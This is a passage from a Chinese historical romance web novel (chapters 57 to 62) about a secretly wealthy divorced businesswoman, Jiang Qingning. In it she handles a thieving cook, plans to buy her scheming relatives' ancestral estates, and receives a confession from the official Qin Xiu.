第五十七章秦某已有心悦之人 崔掌柜浑身冷汗直冒,下意识地看向姜清宁,希望能表明忠心,却被张嬷嬷挡在身前。 张嬷嬷冷声询问:“崔掌柜,东家的意思还需要我再解释一遍吗?” “不不不,东家的意思我非常地清楚,非常的明白!” 崔掌柜当即反应:“东家放心,我一定能够将这件事情办妥!” 张嬷嬷颔首道:“既然无事了,那边先退下吧,东家查完账会自行离开,不用相送。” 崔掌柜连忙行礼,恭敬地退后几步,转身拉开房门,却在下一刻愣住。 “太子殿下,秦大人,承大人,不知三位来此,可是有何事?” 崔掌柜心中升上惊醒,不动声色的关上房门,向门外被打手阻拦在外的三人行礼。 “崔掌柜,上官东家可在屋内?” “久闻上官东家大名,冒然前来,不知我等今日可有缘一见?” 陆乘朗声询问,将声音传到包厢之内。 门上传来三声的回应。 崔掌柜身形微顿,冲陆乘三人摇头道:“三位贵客,实在是不好意思,东家今日身体疲惫,如今已经要歇息了。” 陆乘眼中并无特别失望的情绪,他颔首道:“理解,理解,上官东家辛苦,既然这样我们倒是有一件事询问崔掌柜。” 崔掌柜背脊微微挺直,恭敬地弯腰面对三人:“太子殿下客气了,您但说无妨。” “并非什么大事,只是孤方才与他们二人打了个赌,现如今来找崔掌柜,问一问这赌约的结果。” 陆乘伸手打开折扇,放在身前摇着,似乎对结果已经有了明确的算计。 “殿下请问。”崔掌柜心中猜测到一二,了然地拱手道。 “方才我三人见崔掌柜带着张厨子前往上官东家面前,不知可是这人犯了错?” 陆乘眼中闪过精光,声声引诱似的询问。 崔掌柜心中警惕,疏离的回答:“回太子殿下,不过是偷盗福满斋的采买钱,已经被东家下令处置了。” 陆乘敲手,含笑开口:“巧了!我们的赌约就是和这两人的下场有关,不知崔掌柜能否告知,这两人的下场如何?” 崔掌柜状似面容回缓,他拱手行礼道:“东家给他们三日的时间,换上偷盗的一百三十两银子,便可既往不咎。” 此话一出,在场的三人纷纷一愣,眼底泛上诧异。 崔掌柜将他们的神情看在眼里,心中有了猜测。 “只是如此?”陆乘不相信,他逼问道,“我三人不是说闲话的人,只是想知道个结果,崔掌柜不用过多隐瞒的。” 崔掌柜叹气:“东家仁慈,我并未对太子殿下隐瞒,目前就是这么个处理结果。” “谁知方才竟然被三位贵客看到这些,实在是不好意思,福满斋让贵客们污了双眼,今日的菜品全部由福满斋请客。” 陆乘哎了一声,失笑道:“孤看起来是会贪图你这些菜品钱的人吗?该给你的全部都是你的,我等自然不会小气。” “只是这件事情事关赌约,如今结局已定,承元啊,你输了。” “方才说出的约定,你总不会赖账吧?” 陆乘挑眉看向一旁,秦休一身清风朗月气度的站在那里,眉眼间充斥着淡漠,他平静的看向陆乘。 “我什么时候答应你玩赌注了?” 秦休面色冷静,语气极为自然,仿佛就是在唠家常一般,如果他不是在故意的在耍赖的话,那么陆乘还会夸赞一句君子如玉。 “嘿你个秦休,人都跟到这里来了,现在和孤说不你从头到尾,都没有答应参与赌约?” “能做个人呢吗?承延你说他是不是默认了,人都跟来了,怎么可能就让他直接糊弄过去!” 在场的几人一脸平静的看着陆乘,崔掌柜从心底对他们的赌约,产生不好的预感,只觉得这三人还是不要继续争执下去的好。 姜清宁坐在屋内,端起茶盏的手一顿,抬眼看向屏风后的房门。 承延? 秦休? 太子? 这三人原来是一起的吗?秦休是贵妃的亲弟弟,他和同知大人是好友,这两人竟然是太子麾下效力的。 “张嬷嬷,你过来。” 姜清宁抬手,示意张嬷嬷上前,而后附耳上去,轻声嘱托了几句话。 崔掌柜正在想方法怎么绕开这个表话题,却听到身后的房门内响动两声。 他的心中微微诧异,抬手向三人拱手行礼,满脸堆笑道:“我家东家询问,请问三位贵客的赌约和赌注分别是什么?” 陆乘正在针对秦休,并且不断地向看好戏的承延使眼色,奈何对方一副视而不见的模样,气得他险些背过气去。 “不过是见到这二人犯错,我三人讨论会被上官东家如何处置,唯独这位秦大人说上官东家走到如今的一步,定然绝不会手软。” “可如今这两个人被好好地放了出来,故而孤才言秦大人输了,真正的赢家是孤和承延。” “那赌注又是何物?” 一道清冷的女声响起,引起所有人的注意,他们不约而同地看向门后。 姜清宁走到房门后面,对着三人行礼道:“还请太子殿下、秦大人、同知大人恕罪,我上官曾言绝不在做生意之外的事情上与朝堂人牵连,故而只能以如此姿态面对三位贵客。” 陆乘看着门上映出来的窈窕身影,传闻中的上官东家竟然真的是个女人,这声音和这身段还是个年轻的女人,只可惜站在门后无法得见真容。 陆乘的心中颇为遗憾,但能够在这上官东家面前留个好印象也不错。 他轻摇折扇,摆手道:“上官东家不必客气,今日本就是我们三人贸然叨扰。” “这赌约倒是有些难言,不过既然上官东家亲自询问,孤便好人做到底替秦休回答,是要向上官东家讨要一件信物。” 陆乘说完,心中却是有些羞涩和不好意思。 他们几个大男人堂而皇之向一个女子讨要信物,无疑是影响人家的清白,这上官东家定然也会拒绝。 姜清宁望着门后的人影,不知怎的就忍不住朝着秦休的方向看去。 她曾经观察过,秦休的身形以一般男子都要高大伟岸,但其中透露着风骨,只可惜这人在自己面前心术不正。 否则,她是愿意结交这么个位高权重的男人的。 可惜了。 “竟然是讨要信物。”姜清宁轻笑一声,向一旁抬手,张嬷嬷转身走到桌边,拿起她时常把玩的玉佩,恭敬地递到姜清宁的手中。 “不过是一个小赌注,我自然是乐意奉陪的,这个玉佩跟了我许久,今日便参与进去太子殿下和秦大人,同知大人的赌约。” 秦休耳尖微动,清冷的双眸射向门内,实在不由得让他多想,只是这门后女子的声音着实熟悉。 若是声音在清亮上五分,连同着这熟悉的身形,便是与他心中那人的姿态别无二致。 姜清宁话音落下,张嬷嬷接过玉佩走到门边,崔掌柜立刻转身上前,从略微打开的门缝里接过。 “秦大人,请。”崔掌柜心中艳羡,这么多年都没见到,有人让东家这般对待,这个秦大人倒是不一样。 秦休缓缓地收回视线,将目光放在崔掌柜双手呈上的玉佩之上,是他没在姜清宁身上见到过的。 他冷漠地开口:“不必了,秦某已有心悦之人,何况玉佩意义非凡,秦某绝不会碰别的女子的物品。” 话音落下,他毫不犹豫地转身,径直回到隔壁的包厢之内。 “嘿?孤怎么没听说过他还有心悦之人?”陆乘傻眼,满脸的不可置信。 第五十八章二房三房有隐事 承延在一旁偷笑,附耳道:“多少年的事情了,也就太子殿下您不知道。” 仿佛有人心碎成渣的声音响起,在场的人纷纷忍不住偷笑。 陆乘咬牙握拳,尽是不可置信的开口:“孤就知道!他秦休就爱瞒着孤,什么都不告知孤!” “太子殿下别伤心,毕竟秦国公和秦国公夫人也不知道,不过这天地下,应该也就你们三个不知道了。” 陆乘气冲冲的瞪了眼承延,转身毫不犹豫地跑向隔壁包厢内,似乎想要向秦休要个说法。 “同知大人,您看这……” 崔掌柜捧着手里的玉佩,有些为难的看向承延。 承延和他对上视线,朝着自己左右两边看了看,似乎才反应过来,他已经被两个没良心的好友默契地抛弃。 “既然他无心索要,不过是罚酒三杯的事情,这玉佩还是请上官东家收回吧。” 承延推拒,他是不会违背兄弟意愿,依旧帮忙传送玉佩的。 “若我说,方才你们所看到的,并不是全貌呢?不知同知大人是否能够告知我,最后的赢家究竟是谁。” “上官东家请说。”承延听到不让帮忙送玉佩,顿时松了口气,听个故事而已,总比看秦休的冷脸强。 “方才我当面告知张大厨父子二人,两日之内换上偷盗的一百多两银子,他们二人连声答应,并且被福满斋的人好声好气地送了出去。” 姜清宁顿了顿,含笑问:“不知同知大人,是否觉得我的做法太过仁慈?” 承延微微皱眉,对她的手段的确是有些不解。 “请上官东家解惑。” “人们往往只相信自己看到的,却不愿意相信自己听到的,我将做饭张大厨父子赶出去,并且给予宽松的还债时间,他们定然会对我感激不已。” “这是我要做的,更是百姓们看到的。” “但三日的时间肯定还不上欠债,张大厨的儿子更是戒不了赌注,所以我命人跟着他们,螳螂捕蝉黄雀在后。” “我要张大厨的手艺,但想要不会胡乱说话说话的忠仆。” 承延眉眼中升上警惕:“所以你对他们,究竟做了什么?” “同知大人似乎莫不是想要抓我?”姜清宁失笑,遗憾地开口:“只可惜他们行偷窃罪,按照我朝律法,我即便是就地打杀,都无人能说一个不字。” 承延沉默的就看着那个背影,心中的天秤在此刻无法齐平,因为他明确地知道这个上官东家说的是实话,但他励志还天下所有的公平。 “最后的赢家,是我。”承延开口道。 此话一出,姜清宁顿住,良久愉悦地笑出了声。 她转身道:“既然如此,这块玉佩就是同知大人的彩头,拿着吧,送出手的东西我从来不喜收回。” 崔掌柜顿时将玉佩恭敬地递到承延的面前,门上的倒影消失不见,承延垂眸看向面前的玉佩,缓缓抬手接过。 时字号包厢。 承延回到房间内,手中捏着玉佩,房内的两人一顿,神情征询地望向他。 承压无奈道:“上官东家说我是最后的赢家,故而将这玉佩给我添个彩头。” “你倒是好福气。”陆乘中肯地点评一句,招呼他一起围攻秦休。 “你快说心悦的女子是谁?怪不得你这么多年来,都一直不愿意娶亲,连父皇给你和幼薇赐婚都不同意,她可也等了你许多年了。” 李幼薇,平阳王独女,如今双十年华,从出生起就被册封为山阳郡主,从小受尽平阳王夫妇的宠爱。 唯独多年前在宴席上见到秦休之后,对他一见钟情,宣布此生非君不嫁,当时还闹了不少的笑话。 如今秦休竟然说早已有心仪之人,陆乘眼中浮现看好戏的神情,调侃地看向秦休。 “若是幼薇知道这件事情,恐怕你和你的心上人,都不会再有什么好日子过了。” 秦休抬眸,锐利的看向陆乘,神情非常不悦,让陆乘不由得好笑地摇头。 “和你说了多次了,不喜欢就早日说清楚,省得人家对你处处追求,到头来还被咱们的秦大人不喜。” 秦休深吸一口气,皱眉冷声道:“你怎的不知我真的没和她讲过,我说过不止一次。” 说起这件事秦休便心中委屈,他不止一次地和山阳郡主表示已有心悦之人,可人家对他什么话都相信,唯独不信这句话。 “幼薇这是觉得你在糊弄她呢?不如你和我说一说,喜欢的到底是哪家的姑娘,能让你这么多年都不敢说出口。” 陆乘说着说着,笑容突然一顿,随后不可置信地抬头,看向秦休询问:“不会吧,难不成你喜欢的姑娘已经嫁人了?” 这话一出,在场的两个男人都沉默了。 陆乘一脸木然,怪不得没人和他说,即便是说了也于事无补。 即便是他的父皇想要赐婚,都难以找到借口让人家夫妇和离,赐婚女方转头嫁给自己所宠爱的臣子。 “罢了罢了,你的事就当我没问,怪我多嘴。” 陆乘叹息一声,抬手给秦休和承延满上。 他举杯道:“不要放在心上,往后你会遇到更好的女子,都在酒里了!” 秦休拿起酒杯一饮而尽,脑海中正在想着姜清宁的身影,不由自主的就想起方才那个上官东家的声音,和姜清宁的声音非常相似。 崔掌柜处理好一切事物,走到天字号包厢敲门,姜清宁在接收到暗示,与张嬷嬷一同下楼离开。 一路回到马车上,姜清宁还没有让张嬷嬷去找人,姜清就快步钻上马车,满脸笑容地拎着大大小小的东西放下。 “阿姐快尝尝,我买了如意糕,这个味道好,里面竟然还有夹馅!” 姜清晞献宝似的,将手中的糕点打开,递到姜清宁的嘴边,她含笑接过咬了一口。 “好吃。”姜清宁宠溺道,抬手将姜清晞凌乱的发丝抚到耳后,她柔声询问:“可都逛好了,需不需要再买些什么?” “已经逛得尽兴了!天色不早了,阿姐若是查完帐咱们就先回去吧,这逛街若不是真的喜爱简直比练武场上泡上一天还要累。” 姜清晞伸了个懒腰,眉眼中的不羁散去,只剩下对姜清宁的依赖。 姜清宁含笑,刚要吩咐车夫掉头回府,一人快步跑上前,走到张嬷嬷的面前耳语几句。 张嬷嬷心中猜测几分,她心中一凛,抬手微微掀起马车的帘子,确保姜清宁注意到自己。 “东家,刘掌柜传来消息,姜家二房三房欲变卖家产,问咱们要不要收?” 姜清宁笑容微顿,眼眸低敛,嗤笑道:“八年未见,已经混迹到如此地步了吗?” 第五十九章讨回来 张嬷嬷激动地点头:“如若是有了姜家的祖产,咱们可就是有名正言顺的立宅之本了!” 毕竟谁手里有姜家的祖产,谁才更算是姜家人不是吗? 姜清宁唇角的笑意如同初春薄冰,只微微一顿,便凝住了。 那丝弧度并未完全消失,反而添了几分淬了毒的凉意,悬在脸上,比彻底的冰冷更显冷漠。 “八年未见,已经混迹到如此地步了?”她低低重复了一句,声音轻得仿佛只是马车角落里拂过的一缕风,却又带着沉甸甸的分量,砸在张嬷嬷的心上。 张嬷嬷只觉得车厢里的空气骤然凝滞,连车辕上吱呀的转动声都模糊遥远起来。 当年的记忆涌上几人心头,十几岁的姜清宁被姜家二房三房毫不犹豫地推出去挡灾,以她一人提前出嫁讨好安平伯府,换取姜家所有人的安宁。 分明这场灾祸从始至终都没她的原因,但因为她的父母不在身边,背后无人可倚,所以被最干脆地推了出来。 姜清晞虽然这段时间,对当年的事情还一知半解,但依旧能够感觉出姜清宁心情上的难过,她抬手握住姜清宁的手,轻声唤道:“阿姐……” “我没事。”姜清宁轻轻摇头,目光垂落,停在身旁那只小巧的紫檀木盒上。 她戴着白玉指环的食指,无意识地、极轻地在盒盖上叩击着。 嗒…嗒…嗒…声音细微,却像更漏的水滴,一下下敲在人心深处。 “刘掌柜还说了什么?”她终于开口,打破了那令人窒息的沉默。 姜清宁声音已经恢复了惯常的清洌平稳,听不出丝毫波澜。 张嬷嬷连忙将身子俯得更低,几乎凑到了帘子边,声音压得极细,带着一丝不易察觉的兴奋。 “回东家,刘掌柜说,他们变卖的可都是姜家祖上留下的好东西,西市那几间位置顶好的绸缎铺子,城外那两处肥得流油的田庄,可见姜家现在当真是没落了。” 姜清宁叩击木盒的手指顿住,她依旧垂着眼帘,浓密的睫毛在眼下投出一小片阴影,遮住了所有可能泄露的情绪。 只是那搁在紫檀盒上的手,指节微微绷紧了些,玉环的凉意似乎更重地沁入了肌肤。 她沉默着,车厢里只剩下车轮碾过石板路单调的声响,以及张嬷嬷因兴奋而略显粗重的呼吸。 良久,姜清宁才缓缓抬起眼。 那双眼眸深不见底,像封冻千年的寒潭,平静得令人心头发怵,一丝涟漪也无。 “好啊。”她轻轻吐出一个字,带着一种事不关己的漠然,“既是祖产……那就让刘掌柜去办吧。” “按废纸的价,收了便是。” “是,老奴这就传话。”张嬷嬷心头一松,立刻应声,连忙放下帘子,对着车夫低声吩咐了几句。 三日后的黄昏,姜清宁并未亲至“恒通当铺”的后堂。 她端坐于城中最高处那间,专属于她的福满斋顶楼的雅室之内,每当心情烦躁之时,她往往都会待在这里纾解心中的烦闷。 夕阳的余晖透过巨大的窗沿,将室内昂贵的紫檀木家具、墙上的名家字画都染上一层浓重的金红色,辉煌得有些刺眼。 空气里弥漫着上等沉水香清冷的气息,混杂着新墨和纸张特有的味道,还有一丝若有若无的、属于银钱堆砌之地难以避免的陈旧铜腥气。 刘掌柜垂手侍立在一张巨大的紫檀书案前,微微佝偻着背,额角渗出细密的汗珠。 他双手捧着一张长长的清单,纸页边缘微微卷曲,显是被人反复摩挲过。 “东家,这是二房三房那边,最终确认要出售的家产详录。” 刘掌柜的声音带着惯有的恭谨,却也有些不易察觉的紧绷,“按您的吩咐,压到了最低价,他们起初还颇有些不甘愿,拉扯了几日,终究是应承了。” 姜清宁并未立刻去接那张纸。 她靠坐在宽大的圈椅里,姿态看似闲适,一手随意地搭在光滑的扶手上,另一只手则端着一只小巧玲珑的白玉茶盏。 茶汤色泽清亮,映着她指尖的玉环,更显温润。 她只是用眼尾淡淡地扫了那清单一眼,仿佛看的不过是一张无关紧要的废纸。 “嗯。”她轻轻应了一声,声音像拂过冰面的风,听不出喜怒。 她慢条斯理地啜了一口清茶,才不紧不慢地放下茶盏。 清单入手,是粗糙的纸张质感。 姜清宁的目光自上而下,缓缓移动,绸缎铺、田庄、几处位置尚可的宅院……一行行墨字在她眼中滑过,如同看一份寻常的货物名录。 清单很长,纸页在她指尖发出轻微的沙沙声。 “东家?”刘掌柜小心翼翼地问了一句,额上的汗珠滚落下来。 “刘掌柜。”姜清宁开口,她的声音依旧不高,甚至比刚才还要平稳几分。 “去传话给二房和三房。”她一字一顿,清晰无比,每一个音节都像冰珠砸落玉盘,“就说清单上的东西,我全要了。” 刘掌柜愕然抬头,几乎以为自己听错了。 全要了? 按废纸价? 这……东家这是改了主意?还是…… 没等他想明白,姜清宁的下半句话已如惊雷般落下: “但有个条件——三日后,让他们亲自带着所有地契、房契,来和我当面交割,少一个人,少一张纸,这笔买卖,作罢。” “东家放心,这件事我绝对会办得漂亮。”刘掌柜点头,转身走出 雅室内重归寂静,只剩下夕阳最后的余晖在琉璃窗上跳动,将室内染成一片凄艳的血红。 姜清宁依旧坐在那张宽大的圈椅里,一动不动。 那份长长的清单,被她随手丢在案几上,像一张无用的废纸,她的目光,却缓缓移向书案一角。 那里静静躺着一个打开了的紫檀木盒,盒中铺着深红色的丝绒,丝绒之上,是一支样式古朴的银簪。 簪头无甚繁复雕饰,只简简单单嵌着一小片温润的、毫无杂质的白玉,玉质算不上顶好,却有种历经岁月沉淀的温润光泽。 这是母亲当年走得匆忙时,交给她的念想,说是外祖家遗留下来的唯一的物件,当时姜如意没少稀罕她的这块玉,并且多次出手抢夺。 姜清宁伸出手,指尖带着一丝自己都未曾察觉的微颤,极其轻柔地拂过那冰凉光滑的簪身,最后停留在那片小小的白玉上。 指腹下传来玉石特有的温润触感,与记忆中母亲指尖的温度奇异的重叠。 烛火不知何时已被侍者悄然点亮,跳动的火焰在她深不见底的眸子里,投下明明灭灭的光影,如同鬼火在深渊中摇曳。 她凝视着簪子,唇角缓缓地向上勾起一个弧度。 那笑容极美,却毫无温度,冰冷得令人骨髓发寒。 “父亲母亲……”她的声音低如耳语,在房里几不可闻,却字字清晰,带着刻骨的寒意,“当年他们从我欠我的,我会一一全部地讨回来……” 第六十章贪婪逼人死亡 烛光猛地一跳,将姜清宁眼底最后一丝温度吞噬,只余下冰冷刺骨的恨意与算计。 “这次,我要他们亲手捧到面前来。” “求我收下。” …… “当真?她……全都要了?” 姜家二房老爷姜柏舟猛地从太师椅上弹起来,枯瘦的脸上满是难以置信的狂喜,松弛的皮肤都在抖动,浑浊的眼睛里迸发出贪婪的光芒。 “还……还要和我等当面交割?” “千真万确啊老爷!”管家王福跑得上气不接下气,脸上却堆满了谄媚的笑,几乎要溢出来。 “恒通当铺的接头人刘掌柜亲口传的话,一个字不差,说是那位远近闻名的大东家亲口吩咐的!” “好!好!好!”姜柏舟激动得一连说了三个好字,枯枝般的手拍得桌子砰砰响。 “天不绝我姜家!天不绝我啊!老三!老三你听见没有!” 坐在下首的三房老爷姜松岩,脸上也难掩激动。 他比姜柏舟稍显沉稳些,但那双手也在微微发颤:“二哥,听见了!全听见了!” 他舔了舔有些干裂的嘴唇,眼中精光闪烁,“有了这次的银钱,就能还完债,再为家中的男丁们谋得出一个好前程,天不亡我姜家,天不亡我姜家啊!只是为何要与我们当面交易,可知道是什么地方?” 姜如意站在一旁,脸上显而易见的是骄傲:“爹爹,这事可是我办成的,你们定要好好地奖赏我!” 姜柏舟连声称赞:“不愧是我姜柏舟的好女儿,有父亲当年的风范!这次你想要什么,父亲都能满足你!” 姜如意激动道:“父亲,索性姜清宁那个贱妇已经和安平伯和离,女儿如今已经到了出嫁的年纪,不如您把女儿嫁过去吧!” 此话一出,在场的所有人一顿,纷纷探寻地看向姜如意。 姜柏舟眉头微皱,“这件事还是有待商榷,等为父与你母亲好生商讨一番,再告知你最终的结局。” 对于安平伯的身份,没落的姜家自然是可望不可求的,但姜清宁的执意和离让他们至今没脸出现在安平伯的面前,只能先暂时缓和一阵子。 姜如意乖巧地行礼,只当姜柏舟是同意了,欢快地道了句多谢父亲,转身激动地跑走。 姜松岩叹气:“清宁不懂事,就渴望着如意能家进去安平伯府做继室主母,可惜我膝下的女儿要么性情寡淡,要么是庶出女,要么尚未及笄,不然也能为姜家出一份力。” “只是这上官东家的话,二哥,咱们是不是要再考虑一下,万一她说的地方……” “管它什么地方!”姜柏舟不耐烦地一挥手,打断了他的犹疑,脸上是豁出去的狠劲。 “只要能把这烫手山芋全甩出去,换成白花花的银子救急,别说去到她的地盘上,就是刀山火海,老子也去的!” 他此刻满脑子都是即将到手的巨款,足以填上他豪赌欠下的窟窿,还有翻身的本钱,哪里还顾得上细想其他? “快!王福!去把各处的地契、房契都给我找出来!一张都不能少!还有,通知三房那边,也赶紧准备!” “是!老爷!”王福响亮地应了一声,转身就要跑。 姜松岩被他一顿抢白,也压下了心头那点不安。 是啊,眼下债主天天堵门,再弄不到银子,他们二房三房就真要被扫地出门,连这仅剩的体面祖宅都保不住了。 他咬了咬牙,眼中也只剩下对银子的渴望,“我这就回去清点契书!只要这一次还上所有的欠款,我定要为家中的子嗣谋条出路!” 姜柏舟颔首:“三弟所言甚得我心!” 兄弟俩相视一眼,都从对方眼中看到了孤注一掷的狂热和劫后余生的庆幸,书房里弥漫着一股病态的亢奋气息。 三房所居的西跨院,气氛却截然不同。 姜月柔独自坐在自己闺房的小窗边,窗棂半开。 外面天色已彻底暗沉下来,几点疏星冷冷地挂在墨蓝的天幕上,屋内只点了一盏小小的油灯,光线昏暗,将她纤细的身影模糊地投在墙壁上。 她手里无意识地绞着一方素白的丝帕,指节因为用力而微微泛白。 方才父亲姜松岩急匆匆进来,满脸红光地告诉她七日后,要去参加安平伯府的家宴的好消息时,她只是低着头,轻轻“嗯”了一声。 父亲沉浸在狂喜中,并未注意到女儿异乎寻常的沉默和苍白。 “霓裳阁……”姜月柔的嘴唇无声地翕动了一下,吐出这三个字。 下午王福送来的那份最终清单副本,此刻正静静躺在她的梳妆台上。 她的目光,不由自主地飘了过去,落在那最后一行,那三个扭曲的几乎变形的字上。 一股冰冷的寒意,瞬间攫住了她。 她猛地打了个寒噤,手中的丝帕几乎被绞烂。 “姜家,到底还有未来吗?”姜月柔脸色惨白,眼泪无声地滑落出眼眶。 窗外的夜色,浓得化不开。 远处似乎传来几声模糊的更梆,更添几分凄凉。 姜月柔望着那无边无际的黑暗,只觉得一股巨大的、不祥的寒意,正从四面八方悄然围拢过来,冰冷粘稠,让她几乎无法呼吸。 她抱紧了自己的手臂,在这盛夏的夜晚里,却冷得瑟瑟发抖。 …… 灯火通明的雅室内,姜清宁依旧坐在那张宽大的圈椅中。 烛台上,数支儿臂粗的红烛熊熊燃烧着,跳跃的火焰将她清丽却冷硬的侧脸轮廓映照得半明半暗。 室内静得可怕,只有烛火偶尔发出的轻微“噼啪”声。 那份长长的、写满姜家二房三房变卖家产的清单,此刻如同最肮脏的垃圾,被随意地扫落在地毯上,无人再看一眼。 姜清宁的全部心神,都凝聚在指尖。 她手中,正握着那支母亲留下的旧银簪,簪身冰凉,唯有顶端嵌着的那片小小白玉,在烛火下流转着温润内敛的光泽。 她的指腹带着一种近乎虔诚的温柔,一遍又一遍,极其缓慢、极其细致地抚摸着那片白玉,仿佛在触摸着从前消散的回忆。 烛光在她深不见底的眼眸中跳动,映不出丝毫暖意。 她的唇角无声地向上勾起一个冰冷的近乎完美的弧度。 “快了……”一个极轻极低的气音,如同毒蛇吐信,悄然逸出她的唇瓣,瞬间消弭在烛火燃烧的寂静里。 第六十一章蓄意接近 两日后清晨。 马车缓缓停在宁阁之外,张嬷嬷掀开门帘,抬手扶着姜清宁出来。 “小姐一夜未眠,可待赶紧回去好好休息一下。”张嬷嬷心疼地望着姜清宁,心中是既激动又担忧。 姜清宁曾经在出嫁之后,用所有的嫁妆去跑商,如今八年来转的盆满钵满,但是身旁却没有一个家人分享喜悦。 如今二小姐出现,但她到底是大小姐的嫡亲妹妹,大小姐更不忍心她知晓过多,否则将来万一流传出去,只会引得受她牵连。 姜清宁抿唇道:“嬷嬷别担心,我没事的。” 接连几日她都在雅阁查账,忙起来几乎是忘记吃饭的程度,如今终于将所有的账本核对清楚,这还是数百位账房先生核查完之后,汇总到她的面前的。 张嬷嬷不赞同道:“小姐到底是血肉之躯,如何能够真的将自己当成钢铁铜人一般对待呢,您还是要多为了自己着想,那银钱挣得再多,又生不带来死不带去的。” 姜清宁叹气,眼眸之中带着惆怅:“嬷嬷说得对,我虽然做了八年的生意,却依旧只能将生意做在京城之内,甚至熬了五年才有起色,如今想要走出京城恐怕更加是难如登天,若是想要打通各地的商路,还需要依靠那些真正的权贵的力量。” 然而她姜清宁最信不过的,便是除了自己和血脉至亲之外的所有人。 任何人都有可能在她的身后狠狠背刺,就连三书六礼嫁的夫君和十月怀胎的儿子都能背叛她,更何况那些只认银钱的陌生人? 说她是单纯也好,蠢笨也罢,故步自封贸然不可取,但却能够保证自己的性命无忧,一生不用食不果腹。 “小姐……” 张嬷嬷叹气,这话题又被她家小姐给带过去了。 姜清宁抬手掀起帷帽,望着宁阁的牌匾,心中五味杂陈,想到什么似的低叹。 “寄去岭南的家书至今没收到回应,岭南远去五千里,一来一回要两个多月,道路崎岖繁杂,路上匪患猖狂,也不知道家书是否能够平安地到达父亲母亲的手中。” “姜清宁,你要干什么去?” 男子清冷的声音响起,引得姜清宁转身回头望去。 秦休薄唇微抿,白衣胜雪,腰间悬着一枚青玉,气质清冷似谪仙。 姜清宁微愣一下,收回视线,低身行礼道:“这几日在城外寒山寺上香,今日方归家,并不是要出门去。” 秦休站在姜清宁的面前,同样把姜清宁的模样刻在眼底,她身穿白色纱裙,腰间系着红宝石璎珞,头上戴着白色的帷帽,让人看不清楚神情如何。 “原来如此,我今日需要上早朝,但府衙有事要办,便先去府衙处理公事。” 秦休抿唇,和她解释自己接下来的去处。 姜清宁讶异一瞬,想到在福满斋与女子保持距离的秦休,她心中微微触动,敛眸遮去眼底的情绪。 “……秦大人事务繁忙,清宁便不过多的打扰了,您先忙您的。” 秦休望着姜清宁行礼转身,走上台阶的时候道:“今日是最后一日送糕点了,约定的三十日到了。” 姜清宁脚下一顿,侧身点头道:“是吗,那我让丫鬟今日早些送去,刚巧,自此之后便不再去叨扰秦大人了。” 话音落下,她继续转身要离开。 张嬷嬷看着二人之间的氛围,瞬间给车夫使了眼色,几人连忙进入府内,将空间留给两个人。 张嬷嬷觉得自己看人挺准的,十几年前她就看着安平伯不喜,后来果真这个男人不行,连带着安平伯府的那些主子,都被她一看一个准儿。 可是正五品同知大人承延,和这位天子宠臣正三品大理寺卿秦大人不同,他们一看就为人正派,前者大小姐喜欢,后者喜欢大小姐。 不过张嬷嬷喜欢后者,因为秦休在福满斋的话语,让格外偏心姜清宁的张嬷嬷当场一愣,而后心中却是涌出无限的好感。 当真是让张嬷嬷觉得,家里的桃花树啊,今年绝对会开得非常旺盛! 姜清宁对于张嬷嬷的做法,做出默认的行径,她望着秦休,心中的萌芽逐渐生长。 青之和青冥对视一眼,二人纷纷偷笑着去让巷子口外。 姜清宁摘下头上的帷帽,放在身前拿着,发髻上的珠花点缀得繁复华丽,眉目精致绝美,尤其是双眼格外的勾人心魄。 秦休只要看着,就觉得忍不住沉溺其中,再无法自拔的走出,从此深陷月光心甘情愿的堕落。 “秦大人,可是有何事?” 姜清宁和他对视,眉眼之中带着恭谨,敛眸轻笑,双手交叠于腹前。 “我听说前些时日里,宁阁有许许多多的人上门提亲,可曾给你造成过多的勿扰?” 秦休顿了顿,开口解释:“我那时接了皇上的令出京办差,前日辰时刚回来,往后再遇到麻烦可派人去大理寺府衙找青冥,他是一直守在京城里的。” 姜清宁眉眼间浮上笑意,望着秦休安静解释的模样,秦休久久未听到回答,抬眸就撞入姜清宁满是笑意的眸中。 他的心神微动,随后猛地跳了起来,一下两下三下……经久不息。 就像是只为眼前这人跳跃的一样,秦休喉间干涩,忍不住咽了咽干哑的咽喉,他轻声的询问。 “你……如今是否……有想要结婚的念头?” 他这话说得极清,夹杂着一阵微凉的风声,被卷入其中,轻飘飘地就散了开来。 姜清宁有些没听清,诧异地问道:“秦大人说什么?” 她的话音未落,只见秦休解了披风拿在手中,而后上前几步,和她隔着两个台阶的位置停下。 “你……”姜清宁愣住,有些想要后退。 秦休抬手握住她的手腕,隔着宽大的衣摆,却好似能够将她烫得一惊一般。 “先别动,早上风凉,小心伤寒。” 秦休低声提醒,而后松开紧固她的手腕,将披风展开搭在她的双肩上,抬手系上一个漂亮的结。 第六十二章你们在做什么 秦休帮她整理好披风,随即后退着走下台阶,回到最初的位置,却好像贪图近似的,悄悄地少退了一步半。 姜清宁将秦休的举动全部看在眼中,敛眸遮去眼底的愉悦之情。 她垂眸忍不住轻笑一声,心中感叹到底是没成婚过的年轻男子,即便是疯狂的想要接触,但因为心中心虚而不敢上前。 只能用这样的方法,完成自己蓄意接近的目的。 “姜清宁,你笑什么?”秦休耳尖发热,有些不好意思地开口询问。 “我在笑秦大人纯情。”姜清宁掩唇道,她复而提问,“方才秦大人要问我什么?” 秦休他清了清嗓间,正色地拱手询问:“姜小姐,秦某想要请问,你现如今,可有想要成婚的想法?” 姜清宁嘴角的笑意逐渐消失不见,脑海中瞬间想到先前那些不愉快的回忆,作为这段时日里出名的被求婚到疯狂的人,她简直是不要太过的绝望了。 “秦大人……是想要成婚了?”姜清宁敛去笑意,神色认真地询问秦休。 “非也。”秦休抿唇,他认真的抬眸,“等你什么时候想要成婚了,或许就会是我想要成婚的时候。” 这句话的程度不亚于直接表白,姜清宁并不会傻到以为,这还只是秦休在和她开玩笑。 因为没有人会将这样的玩笑和女子说出来,除非对方就是一个无可救药的神经病。 “为什么是我?”姜清宁询问他,眉眼间带上好奇。 “有时候情之一事,往往是世间最难解答的东西,如果你非要让我说出个所以然来,恐怕我真的难以回答你到底是为什么。” “佳人本倾城,秦某当年一见倾心,后便再也看不入其他的女子,只可惜佳人当年早已经有指腹为婚的婚事。” “如今……姜清宁,你知道我有多么的感谢上苍吗?” 秦休眉眼之中充斥着认真的神色,他和姜清宁沉沉的对视,眼中的执念好像是要烫伤姜清宁的心,她收回视线后退一步。 “秦大人的话我明白了,但是清宁此生已经成婚过一次,甚至有过孩子,秦大人身家清白,身份尊贵,着实不该娶清宁这样的女子。” 姜清宁屈膝行礼,语气疏离:“你很好,只可惜错过了,就是错过了,覆水难收。” 话音落下,她转身毫不犹豫地离开,将身后的人彻底隔绝。 